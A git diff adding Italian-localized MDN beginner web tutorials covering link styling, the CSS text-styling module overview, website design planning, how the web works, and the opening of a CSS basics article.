+  color: blue;
+}
+
+a:visited {
+  color: purple;
+}
+
+a:focus, a:hover {
+  border-bottom: 1px solid;
+}
+
+a:active {
+  color: red;
+}
+
+a[href*="http"] {
+  background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0;
+  background-size: 16px 16px;
+  padding-right: 19px;
+}</pre>
+
+<p>{{ EmbedLiveSample('Including_icons_on_links', '100%', 150) }}</p>
+
+<p>So what's going on here? We'll skip over most of the CSS, as it's just the same information you've looked at before. The last rule however is interesting — here we are inserting a custom background image on external links in a similar manner to how we handled <a href="/en-US/Learn/CSS/Styling_text/Styling_lists#Using_a_custom_bullet_image">custom bullets on list items</a> in the last article — this time however we are using {{cssxref("background")}} shorthand instead of the individual properties. We set the path to the image we want to insert, specify <code>no-repeat</code> so we only get one copy inserted, and then specify the position as 100% of the way over to the right of the text content, and 0 pixels from the top.</p>
+
+<p>We also use {{cssxref("background-size")}} to specify the size we want the background image to be shown at — it is useful to have a larger icon and then resize it like this as needed for responsive web design purposes. This does however only work with IE 9 and later, so if you need to support those older browsers, you'll just have to resize the image and insert it as is.</p>
+
+<p>Finally, we set some {{cssxref("padding-right")}} on the links to make space for the background image to appear in, so we aren't overlapping it with the text.</p>
+
+<p>A final word — how did we select just external links? Well, if you are writing your <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">HTML links</a> properly, you should only be using absolute URLs for external links — it is more efficient to use relative links to link to other parts of your own site. The text "http" should therefore only appear in external links, and we can select this with an <a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">attribute selector</a>: <code>a[href*="http"]</code> selects {{htmlelement("a")}} elements, but only if they have an {{htmlattrxref("href","a")}} attribute with a value that contains "http" somewhere inside it.</p>
+
+<p>So that's it — try revisiting the active learning section above and trying this new technique out!</p>
+
+<div class="note">
+<p><strong>Note</strong>: Don't worry if you are not familiar with <a href="/en-US/docs/Learn/CSS/Styling_boxes">backgrounds</a> and <a href="/en-US/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">responsive web design</a> yet; these are explained in other places.</p>
+</div>
+
+<h2 id="Definire_i_link_come_bottoni">Definire i link come bottoni</h2>
+
+<p>The tools you've explored so far in this article can also be used in other ways. For example, states like hover can be used to style many different elements, not just links — you might want to style the hover state of paragraphs, list items, or other things.</p>
+
+<p>In addition, links are quite commonly styled to look and behave like buttons in certain circumstances — a website navigation menu is usually marked up as a list containing links, and this can be easily styled to look like a set of control buttons or tabs that provide the user with access to other parts of the site. Let's explore how.</p>
+
+<p>First, some HTML:</p>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#"&gt;Pizza&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#"&gt;Music&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#"&gt;Wombats&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#"&gt;Finland&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>And now our CSS:</p>
+
+<pre class="brush: css">body,html {
+  margin: 0;
+  font-family: sans-serif;
+}
+
+ul {
+  padding: 0;
+  width: 100%;
+}
+
+li {
+  display: inline;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  display: inline-block;
+  width: 19.5%;
+  margin-right: 0.625%;
+  text-align: center;
+  line-height: 3;
+  color: black;
+}
+
+li:last-child a {
+  margin-right: 0;
+}
+
+a:link, a:visited, a:focus {
+  background: yellow;
+}
+
+a:hover {
+  background: orange;
+}
+
+a:active {
+  background: red;
+  color: white;
+}</pre>
+
+<p>This gives us the following result:</p>
+
+<p>{{ EmbedLiveSample('Styling_links_as_buttons', '100%', 100) }}</p>
+
+<p>Let's explain what's going on here, focusing on the most interesting parts:</p>
+
+<ul>
+ <li>Our second rule removes the default {{cssxref("padding")}} from the {{htmlelement("ul")}} element, and sets its width to span 100% of the outer container (the {{htmlelement("body")}}, in this case).</li>
+ <li>{{htmlelement("li")}} elements are normally block by default (see <a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">types of CSS boxes</a> for a refresher), meaning that they will sit on their own lines. In this case, we are creating a horizontal list of links, so in the third rule we set the {{cssxref("display")}} property to inline, which causes the list items to sit on the same line as one another — they now behave like inline elements.</li>
+ <li>The fourth rule — which styles the {{htmlelement("a")}} element — is the most complicated here; let's go through it step by step:
+  <ul>
+   <li>As in previous examples, we start by turning off the default {{cssxref("text-decoration")}} and {{cssxref("outline")}} — we don't want those spoiling our look.</li>
+   <li>Next, we set the {{cssxref("display")}} to <code>inline-block</code> — {{htmlelement("a")}} elements are inline by default and, while we don't want them to spill onto their own lines like a value of <code>block</code> would achieve, we do want to be able to size them. <code>inline-block</code> allows us to do this.</li>
+   <li>Now onto the sizing! We want to fill up the whole width of the {{htmlelement("ul")}}, leave a little margin between each button (but not a gap at the right hand edge), and we have 5 buttons to accommodate that should all be the same size. To do this, we set the {{cssxref("width")}} to 19.5%, and the {{cssxref("margin-right")}} to 0.625%. You'll notice that all this width adds up to 100.625%, which would make the last button overflow the <code>&lt;ul&gt;</code> and fall down to the next line. However, we take it back down to 100% using the next rule, which selects only the last <code>&lt;a&gt;</code> in the list, and removes the margin from it. Done!</li>
+   <li>The last three declarations are pretty simple and are mainly just for cosmetic purposes. We center the text inside each link, set the {{cssxref("line-height")}} to 3 to give the buttons some height (which also has the advantage of centering the text vertically), and set the text color to black.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You may have noticed that the list items in the HTML are all put on the same line as each other — this is done because spaces/line breaks in between inline block elements create spaces on the page, just like the spaces in between words, and such spaces would break our horizontal navigation menu layout. So we've removed the spaces. You can find more information about this problem (and solutions) at <a href="https://css-tricks.com/fighting-the-space-between-inline-block-elements/">Fighting the space between inline block elements</a>.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>We hope this article has provided you with all you'll need to know about links — for now! The final article in our Styling text module details how to use custom fonts on your websites, or web fonts as they are better known.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Styling lists</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Styling links</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Typesetting a community school homepage</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/it/learn/css/styling_text/index.html b/files/it/learn/css/styling_text/index.html
new file mode 100644
index 0000000000..ce435ca33b
--- /dev/null
+++ b/files/it/learn/css/styling_text/index.html
@@ -0,0 +1,57 @@
+---
+title: Styling text
+slug: Learn/CSS/Styling_text
+tags:
+  - Beginner
+  - CSS
+  - CodingScripting
+  - Fonts
+  - Landing
+  - Links
+  - Module
+  - NeedsTranslation
+  - Text
+  - TopicStub
+  - font
+  - letter
+  - line
+  - lists
+  - shadow
+  - web fonts
+translation_of: Learn/CSS/Styling_text
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">With the basics of the CSS language covered, the next CSS topic for you to concentrate on is styling text — one of the most common things you'll do with CSS. Here we look at text styling fundamentals, including setting font, boldness, italics, line and letter spacing, drop shadows and other text features. We round off the module by looking at applying custom fonts to your page, and styling lists and links.</p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>Before starting this module, you should already have basic familiarity with HTML, as discussed in the <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a> module, and be comfortable with CSS fundamentals, as discussed in <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a>,<a href="https://codepen.io/"> CodePen</a> or <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<p>This module contains the following articles, which will teach you all of the essentials behind styling HTML text content.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></dt>
+ <dd>In this article we go through all the basics of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Styling lists</a></dt>
+ <dd>Lists behave like any other text for the most part, but there are some CSS properties specific to lists that you need to know about, and some best practices to consider. This article explains all.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Styling links</a></dt>
+ <dd>When styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs. We'll look at all these topics in this article.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a></dt>
+ <dd>Here we will explore web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling.</dd>
+</dl>
+
+<h2 id="Assessments">Assessments</h2>
+
+<p>The following assessments will test your understanding of the text styling techniques covered in the guides above.</p>
+
+<dl>
+ <dt><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Typesetting a community school homepage</a></dt>
+ <dd>In this assessment we'll test your understanding of styling text by getting you to style the text for a community school's homepage.</dd>
+</dl>
diff --git a/files/it/learn/getting_started_with_the_web/che_aspetto_avrà_il_tuo_sito_web/index.html b/files/it/learn/getting_started_with_the_web/che_aspetto_avrà_il_tuo_sito_web/index.html
new file mode 100644
index 0000000000..3d3bc69f60
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/che_aspetto_avrà_il_tuo_sito_web/index.html
@@ -0,0 +1,117 @@
+---
+title: Che aspetto avrà il tuo sito Web?
+slug: Learn/Getting_started_with_the_web/Che_aspetto_avrà_il_tuo_sito_web
+tags:
+  - Basi
+  - Design
+  - Fonts
+  - Grafica
+  - Web
+  - imparare
+translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p><em>Che aspetto avrà il tuo sito?</em> spiega come pianificare e lavorare sul design prima di iniziare a scrivere le primissime righe di codice. Esso include risposte a domande come "Che informazioni offre il mio sito Web?", "Quale font e colore voglio?" e "Cosa fa il mio sito?" </p>
+</div>
+
+<h2 id="Prima_di_tutto_pianifica">Prima di tutto: pianifica</h2>
+
+<p>Prima che tu faccia qualsiasi cosa, devi avere qualche idea. Il tuo sito Web cosa dovrebbe esattamente fare? Un sito Web può fare praticamente tutto, ma inizialmente dovresti mantenere le cose semplici. Inizieremo creando una semplice pagina con un'intestazione, un'immagine e un po' di paragrafi.</p>
+
+<p>Prima di iniziare dovrai rispondere a questi domande:</p>
+
+<ol>
+ <li><strong>Di cosa tratterà il tuo sito Web? </strong>Ti piacciono i cani, New York, o Pacman?</li>
+ <li><strong>Quali informazioni vorrai portare su quell'argomento? </strong>Scrivi un titolo e un po' di paragrafi e pensa a un'immagine che vorresti far vedere nella pagina.</li>
+ <li><strong>Che aspetto ha il tuo sito Web </strong>in breve? Qual è il suo colore di sfondo? Quale genere di font è più appropriato: formale, grassetto e rumoroso, simile a un sottotitolo?</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota bene</strong>: Progetti complessi necessitano di linee guida dettagliate che vadano a fondo su ogni dettaglio di colore, font, spaziatura tra gli elementi di una pagina, stile di scrittura, e così via. Per fare questo ci si basa, di solito, su guide e linee guida severe. Puoi vedere un esempio su <a href="/it/docs/Archive/B2G_OS">Firefox OS Guidelines</a>.</p>
+</div>
+
+<h2 id="Fare_uno_schizzo_del_design">Fare uno schizzo del design</h2>
+
+<p>Successivamente, prendi carta e penna e fai uno schizzo veloce su come il tuo sito Web dovrebbe essere. Per le tue prime pagine non ci sarà molto da disegnare, ma ti abituerebbe a farlo. È un'abitudine che aiuta: ricorda che non avrai bisogno di essere Van Gogh!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9239/website-drawing-scan.png" style="display: block; height: 460px; margin: 0px auto; width: 640px;"></p>
+
+<div class="note">
+<p><strong>Nota bene</strong>: Anche nei siti Web complessi e professionali, i team grafici di solito iniziano con diversi schizzi veloci su carta e, solo successivamente, sviluppano un modello grafico con editor o tecnologie Web.</p>
+
+<p><span style="font-size: 1.125rem;">I gruppi di sviluppo Web spesso hanno sia un grafico (front-end developer) che un programmatore (back-end developer). I grafici, ovviamente, mettono insieme le idee grafiche per il sito. Gli sviluppatori UX hanno un ruolo più astratto e si occupano di come l'utente finale si interfaccerà con il sito.</span></p>
+</div>
+
+<h2 id="Scegliere_le_tue_risorse">Scegliere le tue risorse</h2>
+
+<p>A questo punto è bene iniziare a mettere insieme il contenuto che apparirà sul tuo sito Web.</p>
+
+<h3 id="Testo">Testo</h3>
+
+<p>Dovresti già avere i tuoi paragrafi e il tuo titolo da prima. Per ora tienili là.</p>
+
+<h3 id="Colori_del_tema">Colori del tema</h3>
+
+<p>Per scegliere un colore, vai <a href="/it/docs/Web/CSS/CSS_Colors/Color_picker_tool">qui</a> e trova il colore che più ti piace. Quando premi su un colore, vedrai uno strano codice a sei cifre come <code>#660066</code>. Questo è chiamato <em>codice esadecimale</em>, e rappresenta il tuo colore. Copia il codice in un posto sicuro per ora.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8975/Screenshot%20from%202014-11-03%2017:40:49.png" style="height: 262px; width: 448px;"></p>
+
+<h3 id="Immagini">Immagini</h3>
+
+<p>Per scegliere un'immagine, vai su <a href="https://images.google.com/?gws_rd=ssl">Google Immagini</a> e cerca qualcosa che faccia al caso tuo.</p>
+
+<ol>
+ <li>Quando trovi l'immagine che desideri, premi sull'immagine.</li>
+ <li>Premi sul bottone <em>Visualizza immagine</em>.</li>
+ <li>Sulla pagina che si aprirà, premi con il tasto destro del mouse sull'immagine (Ctrl + click sul Mac), scegli <em>Salva immagine come...</em>,  e scegli un posto sicuro in cui salvare l'immagine. In alternativa, copia l'URL dell'immagine che trovi sulla barra degli indirizzi del tuo browser per un utilizzo futuro.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8985/Screenshot%20from%202014-11-04%2015:09:21.png" style="height: 293px; width: 420px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8989/Screenshot%20from%202014-11-04%2015:20:48.png" style="height: 292px; width: 340px;"></p>
+
+<div class="note">
+<p><strong>Nota bene</strong>: La maggior parte delle immagini sul Web, comprese quelle su Google Immagini, sono protette da copyright. Per ridurre la tua possibilità di una violazione del diritto d'autore, puoi usare il filtro di licenza Google. Semplicemente premi su 1) <strong>Strumenti</strong>, poi su 2) <strong>Diritti di utilizzo </strong>e, infine, sulla scelta che più soddisfa le vostre necessità:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8981/Screenshot%20from%202014-11-04%2014:27:45.png" style="height: 195px; width: 587px;"></p>
+</div>
+
+<h3 id="Font">Font</h3>
+
+<p>Per scegliere un font:</p>
+
+<ol>
+ <li>Vai su <a href="http://www.google.com/fonts">Google Fonts</a> e passa la lista fino a quando non troverai quello che più ti piace. Puoi anche usare il pannello sulla destra per filtrare la ricerca.</li>
+ <li>Premi il bottone con l'icona '+' (Add to) vicino al font che desideri.</li>
+ <li>Premi sul bottone "* Family Selected"<em> </em>nel pannello a fondo della pagina ("*" dipenderà da quanti font avrete selezionato).</li>
+ <li>Nel pop-up che esce, puoi vedere e copiare le linee di codice che Google ti darà. Ricordati di salvarle in un editor di testo, cosicché possa usarle futuro.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13871/font1.png" style="height: 359px; width: 600px;"></p>
+
+<p> </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13873/font2.png" style="height: 608px; width: 600px;"></p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</p>
+
+<p> </p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="/it/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installazione dei software fondamentali</a></li>
+ <li id="What_will_your_website_look_like"><a href="/it/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Che aspetto avrà il tuo sito Web</a></li>
+ <li id="Dealing_with_files"><a href="/it/docs/Learn/Getting_started_with_the_web/Gestire_i_file">Gestire i file</a></li>
+ <li id="HTML_basics"><a href="/it/docs/Learn/Getting_started_with_the_web/HTML_basics">Basi HTML</a></li>
+ <li id="CSS_basics"><a href="/it/docs/Learn/Getting_started_with_the_web/CSS_basics">Basi CSS</a></li>
+ <li id="JavaScript_basics"><a href="/it/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Basi JavaScript</a></li>
+ <li id="Publishing_your_website"><a href="/it/docs/Learn/Getting_started_with_the_web/Pubblicare_il_tuo_sito">Pubblicare il tuo sito Web</a></li>
+ <li id="How_the_web_works"><a href="/it/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Come lavora il Web</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/it/learn/getting_started_with_the_web/come_funziona_il_web/index.html b/files/it/learn/getting_started_with_the_web/come_funziona_il_web/index.html
new file mode 100644
index 0000000000..47fb54afda
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/come_funziona_il_web/index.html
@@ -0,0 +1,99 @@
+---
+title: Come funziona il Web
+slug: Learn/Getting_started_with_the_web/Come_funziona_il_Web
+translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p><em>Come funziona il Web</em> spiega in modo semplice quello che accade quando visualizzi una pagina web sul browser del tuo computer o telefono.</p>
+</div>
+
+<p>Questa parte teorica non è essenziale sin da subito per scrivere il codice web, ma a breve ti avvantaggerà capire cosa c'è sullo sfondo.</p>
+
+<h2 id="Client_e_server">Client e server</h2>
+
+<p>I computer connessi sul web sono chiamati <strong>client</strong> e <strong>server</strong>. Il seguente schema semplificato mostra come possono interagire tra loro:</p>
+
+<p><img alt="I due cerchi rappresentano client e server. Due frecce indicano rispettivamente una richiesta dal client al server e una risposta dal server al client" src="https://mdn.mozillademos.org/files/17297/simple-client-server.png" style="height: 371px; width: 1193px;"></p>
+
+<ul>
+ <li>I client sono tipicamente i dispositivi degli utenti connessi a Internet (ad esempio: il tuo computer connesso alla rete Wi-Fi o il tuo smartphone connesso alla rete mobile) e il software, presente su quei dispositivi, che ha accesso alla rete (solitamente un browser come Firefox o Chrome).</li>
+ <li>I server sono computer che ospitano pagine web, siti o applicazioni. Quando il dispositivo di un client vuole accedere a una pagina web, una copia della pagina viene scaricata dal server sulla macchina client per essere così visualizzata nel browser dell'utente.</li>
+</ul>
+
+<h2 id="Le_restanti_componenti_del_Web">Le restanti componenti del Web</h2>
+
+<p>La descrizione appena fatta di client e server non racconta l'intera storia. Ci sono altri numerosi elementi coinvolti che descriveremo di seguito.</p>
+
+<p>Immaginiamo per adesso che la rete sia una strada. A un estremo della strada si trova il client, che è come la tua abitazione. All'altro estremo della strada c'è il server, che è come un negozio dal quale vuoi acquistare qualcosa.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9749/road.jpg" style="display: block; height: 427px; margin: 0px auto; width: 640px;"></p>
+
+<p>Oltre al client e al server dobbiamo anche considerare:</p>
+
+<ul>
+ <li><strong>La tua connessione a Internet</strong>: Ti permette di inviare e ricevere dati nella rete. In sostanza, rappresenta il pezzo di strada tra la tua abitazione e il negozio.</li>
+ <li><strong>TCP/IP</strong>: Il Protocollo di Controllo di Trasmissione e il Protocollo Internet (TCP e IP in inglese) sono protocolli di comunicazione che definiscono come devono viaggiare i dati attraverso Internet. Sono simili al mezzo di trasporto che ti consente di effettuare un ordine, andare al negozio e fare acquisti. Nel nostro esempio, può trattarsi di una macchina o di una bici (o un qualsiasi altro mezzo con il quale desideri spostarti).</li>
+ <li><strong>DNS</strong>: Il sistema dei nomi di dominio (Domain Name Servers in inglese) è l'equivalente di una rubrica di indirizzi per i siti web. Quando digiti un indirizzo web nel tuo browser, quest'ultimo si collega al server DNS per trovare l'indirizzo reale del sito prima di recuperare la pagina web. Il browser deve conoscere su quale server è ospitato il sito web, così da poter inviare dei messaggi HTTP nel luogo corretto (leggi di seguito). Questa procedura è simile alla ricerca dell'indirizzo del negozio in modo tale da poterci andare.</li>
+ <li><strong>HTTP</strong>: Il {{Glossary("Protocol" , "protocollo")}} di trasferimento di un ipertesto (HTTP in inglese) definisce un linguaggio che permette a client e server di comunicare tra loro. È simile al linguaggio che usi per effettuare i tuoi acquisti.</li>
+ <li><strong>File che costituiscono il sito web</strong>: Un sito web è composto da numerosi e differenti file, i quali possono essere paragonati alle diverse parti delle merci che si acquistano nel negozio. Questi file possono essere distinti in due tipi:
+  <ul>
+   <li><strong>File di codice</strong>: I siti web sono sviluppati basandosi soprattutto su HTML, CSS e JavaScript, anche se conoscerai a breve altre tecnologie.</li>
+   <li><strong>Risorse</strong>: Questa categoria racchiude tutti gli altri oggetti che costituiscono un sito web, ad esempio: immagini, musica, video, documenti Word e PDF.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Ma_allora_cosa_accade_esattamente">Ma allora: cosa accade esattamente?</h2>
+
+<p>Quando digiti un indirizzo web all'interno del tuo browser (seguendo la nostra analogia, è come raggiungere il negozio camminando):</p>
+
+<ol>
+ <li>Il browser contatta il server DNS e cerca il reale indirizzo del server su cui è ospitato il sito web (equivale a trovare l'indirizzo del negozio).</li>
+ <li>Il browser invia un messaggio di richiesta HTTP al server, chiedendogli di inviare una copia del sito web al client (equivale ad andare nel negozio e ordinare le merci). Questo messaggio e tutti gli altri dati inviati tra client e server sono inviati attraverso la tua connessione Internet, usando il protocollo TCP/IP.</li>
+ <li>Se il server approva la richiesta del client, gli invia un messaggio con scritto "200 OK", che significa "Ma certo che puoi guardare quel sito web! Eccolo" e inizia quindi ad inviare i file del sito web al browser in una serie di piccoli pezzi chiamati pacchetti di dati (seguendo l'analogia, al negozio ricevi i tuoi acquisti e li porti a casa).</li>
+ <li>Il browser assembla i piccoli pezzi in una pagina web completa e te la mostra (nell'analogia, l'ordine arriva alla porta di casa — sfavillante roba nuova, fantastico!).</li>
+</ol>
+
+<h2 id="Chiarimenti_sul_DNS">Chiarimenti sul DNS</h2>
+
+<p>I veri indirizzi web non sono quelle stringhe semplici e facili da ricordare che inserisci all'interno della tua barra degli indirizzi per cercare i tuoi siti web preferiti. Sono piuttosto numeri speciali dall'aspetto simile a questo: <code>63.245.215.20</code>.</p>
+
+<p>Si chiama {{Glossary("IP Address", "IP address")}} e rappresenta una posizione unica nel Web. Ad ogni modo, non è molto facile da ricordare, non è vero? Ecco perché sono stati inventati i Domain Name Server. Si tratta di server speciali che abbinano l'indirizzo web che digiti all'interno del tuo browser (come "mozilla.org") all'indirizzo (IP) reale del sito internet.</p>
+
+<p>I siti web possono essere raggiunti direttamente attraverso il loro indirizzo IP. Puoi trovare l'indirizzo IP di un sito web digitando il suo dominio in uno strumento tipo <a href="https://ipinfo.info/html/ip_checker.php">IP Checker</a>.</p>
+
+<h2 id="Chiarimenti_sui_pacchetti">Chiarimenti sui pacchetti</h2>
+
+<p>Prima abbiamo usato il termine "pacchetti" per descrivere il formato in cui i dati sono inviati dal server al client. Che cosa significa? In pratica, quando i dati vengono inviati in tutto il Web, essi sono inviati sotto forma di migliaia di piccoli pezzi in modo tale che differenti utenti possano scaricare lo stesso sito web contemporaneamente. Se i siti web fossero inviati sotto forma di grandi pacchetti singoli, solamente un utente alla volta potrebbe scaricare il che, ovviamente, renderebbe il Web davvero inefficiente e poco divertente da usare.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/How_the_Internet_works">How the Internet works</a></li>
+ <li><a href="https://dev.opera.com/articles/http-basic-introduction/">HTTP — an Application-Level Protocol</a></li>
+ <li><a href="https://dev.opera.com/articles/http-lets-get-it-on/">HTTP: Let’s GET It On!</a></li>
+ <li><a href="https://dev.opera.com/articles/http-response-codes/">HTTP: Response Codes</a></li>
+</ul>
+
+<h2 id="Credit">Credit</h2>
+
+<p>Street photo: <a href="https://www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ">Street composing</a>, by <a href="https://www.flickr.com/photos/kdigga/">Kevin D</a>.</p>
+
+<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">Installing basic software</a></li>
+ <li id="What_will_your_website_look_like"><a href="/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like">What will your website look like?</a></li>
+ <li id="Dealing_with_files"><a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a></li>
+ <li id="HTML_basics"><a href="/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML basics</a></li>
+ <li id="CSS_basics"><a href="/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS basics</a></li>
+ <li id="JavaScript_basics"><a href="/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript basics</a></li>
+ <li id="Publishing_your_website"><a href="/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">Publishing your website</a></li>
+ <li id="How_the_web_works"><a href="/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">How the web works</a></li>
+</ul>
diff --git a/files/it/learn/getting_started_with_the_web/css_basics/index.html b/files/it/learn/getting_started_with_the_web/css_basics/index.html
new file mode 100644
index 0000000000..b229d8f888
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/css_basics/index.html
@@ -0,0 +1,267 @@
+---
+title: Basi di CSS
+slug: Learn/Getting_started_with_the_web/CSS_basics
+translation_of: Learn/Getting_started_with_the_web/CSS_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>CSS (Cascading Style Sheets) è il codice usato per modellare lo stile delle pagine web. In questo capitolo, CSS Basics, viene spiegato di cosa si ha bisogno per iniziare. Risponderemo a domande come: come faccio a rendere il testo nero o rosso? Come faccio a far visualizzare il contenuto in un certo posto sullo schermo? Come faccio a decorare la pagina web con immagini di sfondo e colori?</p>
+</div>
+
+<h2 id="Quindi_cosa_sono_i_CSS_in_concreto">Quindi, cosa sono i CSS in concreto?</h2>
+
+<p>Come l'HTML, anche il CSS non è un vero e proprio linguaggio di programmazione. Si tratta di un "linguaggio di stile", che consente cioé di applicare, selettivamente, uno stile agli elementi dei documenti HTML. Per esempio, per selezionare tutti gli elementi paragrafo di una pagina HTML e rendere rosso il testo che contengono, devi scrivere questo CSS:</p>
+
+<pre class="brush: css notranslate">p {
+  color: red;
+}</pre>
+
+<p>Facciamo una prova: incolliamo le tre righe di CSS nell'editor di testo, in un nuovo file e salviamolo come stile.css nella sottocartella styles.</p>
+
+<p>Abbiamo ancora bisogno di collegare il CSS al documento HTML, altrimenti non influenzerà il modo in cui il browser visualizza il documento HTML. (Se non avete seguito il nostro progetto, leggete <a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a> (Gestire i files) e <a href="/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML basics (Nozioni di base di HTML)</a> per scoprire cosa è stato fatto fin qui.</p>
+
+<ol>
+ <li>Apriamo il file index.html e incolliamo la seguente riga nella sezione &lt;head&gt;, cioè tra i tag &lt;head&gt; e &lt;/head&gt;.
+  <pre class="brush: html notranslate">&lt;link href="styles/style.css" rel="stylesheet" type="text/css"&gt;</pre>
+ </li>
+ <li>Salviamo index.html e apriamolo nel browser. Si dovrebbe vedere qualcosa di simile a questo:</li>
+</ol>
+
